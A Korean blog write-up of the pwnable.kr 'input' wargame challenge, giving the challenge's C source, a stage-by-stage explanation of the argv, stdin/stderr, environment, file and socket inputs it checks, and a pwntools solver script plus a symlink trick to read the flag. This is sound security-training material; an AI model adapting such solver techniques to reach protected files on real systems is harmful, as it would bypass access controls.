tmxklab
[pwnable.kr] input 본문
1. 문제 확인
[input.c]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
5개 문제 다 풀면 flag값 보여준다
2. 접근 방법
[stage 1]
- argc == 100 : 파라미터가 100개여야 함(실행파일 제외 총 99개)
- argv['A'] == argv[65]이므로 argv[65]에 '\x00'이 들어가면 됨
- argv['B'] == argv[66]이므로 argv[66]에 '\x20\x0a\x0d'(" \n\r")이 들어가면 됨
[stage 2]
- 표준 입력 → buf에 "\x00\x0a\x00\xff"가 들어가면 됨
- 표준 에러 → buf에 "\x00\x0a\x02\xff"가 들어가면 됨
[stage 3]
- getenv() 파라미터로 환경변수이름을 넣고 값을 가져오는 함수이다.
- 따라서, 환경변수 이름 "\xde\xad\xbe\xef"에 값을 "\xca\xfe\xba\xbe"를 넣으면 된다.
[stage 4]
- 파일 이름이 "\x0a"인 파일이 존재해야 하고 파일 내용은 "\x00\x00\x00\x00"이 존재하면 된다.
- fread(buf, 4, 1, fp) : fp에서 하나의 원소의 크기가 4byte를 1개 가져옴 뭔 개소린가 싶을 수 있는데 걍 파일에 첫 4byte가 "\x00\x00\x00\x00"이면 됨
size_t fread(void* buffer, size_t size, size_t count, FILE* stream);
- straem에서 size길이의 count항목까지 읽고 buffer에 저장한다.
- 리턴 값은 읽어들인 원소의 개수
[stage 5]
- 소켓 프로그래밍이다.
- port번호를 argv['C']의 값을 포트번호로 세팅하고 bind한 다음에 listen하게 된다.
- 글고 accept하게 되는데 해당 주소의 위에 세팅한 포트번호로 "\xde\xad\xbe\xef"값을 보내주면 된다.
3. 문제 풀이
위의 문제풀이 방법대로 값을 세팅하면 되는데 해당 서버에 접속해서 일일히 하기 번거로움과 느려서.. 익스코드 작성하면 좋을텐데..
방법이 있다.
/tmp에 가서 자신이 사용할 디렉터리 만들고 다음과 같이 익스코드 작성하면 된다.
(pwntools도 깔려있음)
익스코드(ex.py)
from pwn import *
context.log_level = "Debug"
# stage 1
argvs = [str(i) for i in range(100)]
argvs[65] = "\x00"
argvs[66] = "\x20\x0a\x0d"
# stage 2
with open("./stderr", "w") as f:
f.write("\x00\x0a\x02\xff")
payload = "\x00\x0a\x00\xff"
# stage 3
envVal = {"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}
# stage 4
with open("\x0a", "w") as f:
f.write("\x00\x00\x00\x00")
# stage 5
argvs[67] = '12345'
p = process(executable="/home/input2/input", argv=argvs, stderr=open("./stderr"), env=envVal)
p.sendline(payload)
#gdb.attach(p)
r = remote("localhost", 12345)
r.send('\xde\xad\xbe\xef')
p.interactive()
추가로 flag파일이 /tmp에 존재하지 않으므로 (그리고 퍼미션 걸려있어서 복사도 안됨) 심볼링 링크를 하나 생성해준다.
$ln -s /home/input2/flag flag
실행 결과
4. 몰랐던 개념
/tmp 디렉터리의 용도를 처음 알게되었다..
/tmp : Stichki bit가 설정된 디렉토리로 파일(or 디렉토리)을 생성한 소유자만이 파일(or 디렉토리)을 삭제하거나 수정, 실행할 수 있다. sticky bit는 't'기호로 명시되어 있음
그리고 익스코드를 작성할 때, 파라미터 넘겨주는거 어케하는지 찾다가 만두님의 블로그를 참고하였다.
[ pwntools 공식 문서 ]
'War Game > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] mistake (0) | 2020.11.20 |
---|---|
[pwnable.kr] leg (0) | 2020.11.20 |
[pwnable.kr] random (0) | 2020.11.20 |
[pwnable.kr] passcode (0) | 2020.11.20 |
[pwnable.kr] flag (0) | 2020.11.20 |
Comments